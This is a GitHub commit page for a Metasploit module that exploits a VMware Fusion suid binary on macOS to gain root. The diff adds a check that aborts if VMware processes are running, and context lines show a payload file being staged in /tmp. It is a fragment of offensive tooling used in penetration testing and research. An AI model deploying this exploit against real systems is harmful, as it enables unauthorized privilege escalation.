Skip to content

Commit f6708b4

Browse files
committed
Check for running vmware processes first.
1 parent 99da950 commit f6708b4

File tree

1 file changed

+9
-1
lines changed

1 file changed

+9
-1
lines changed

modules/exploits/osx/local/vmware_bash_function_root.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,15 @@ def check
6464
end
6565

6666
def exploit
67-
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
67+
process_check = datastore['VMWARE_PATH'] + '/Contents/Library/[VO]'
68+
processes = cmd_exec("bash -c \"ps ax | grep '#{process_check}'\"").split("\n")
69+
70+
if processes.length > 0
71+
print_error "VMware is already running the following processes:\n " + processes.join("\n")
72+
print_error "These processes must be killed before exploiting."
73+
return
74+
end
75+
6876
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
6977
path = '/Contents/Library/Open VMware Fusion Services' # path to the suid binary
7078

0 commit comments

Comments
 (0)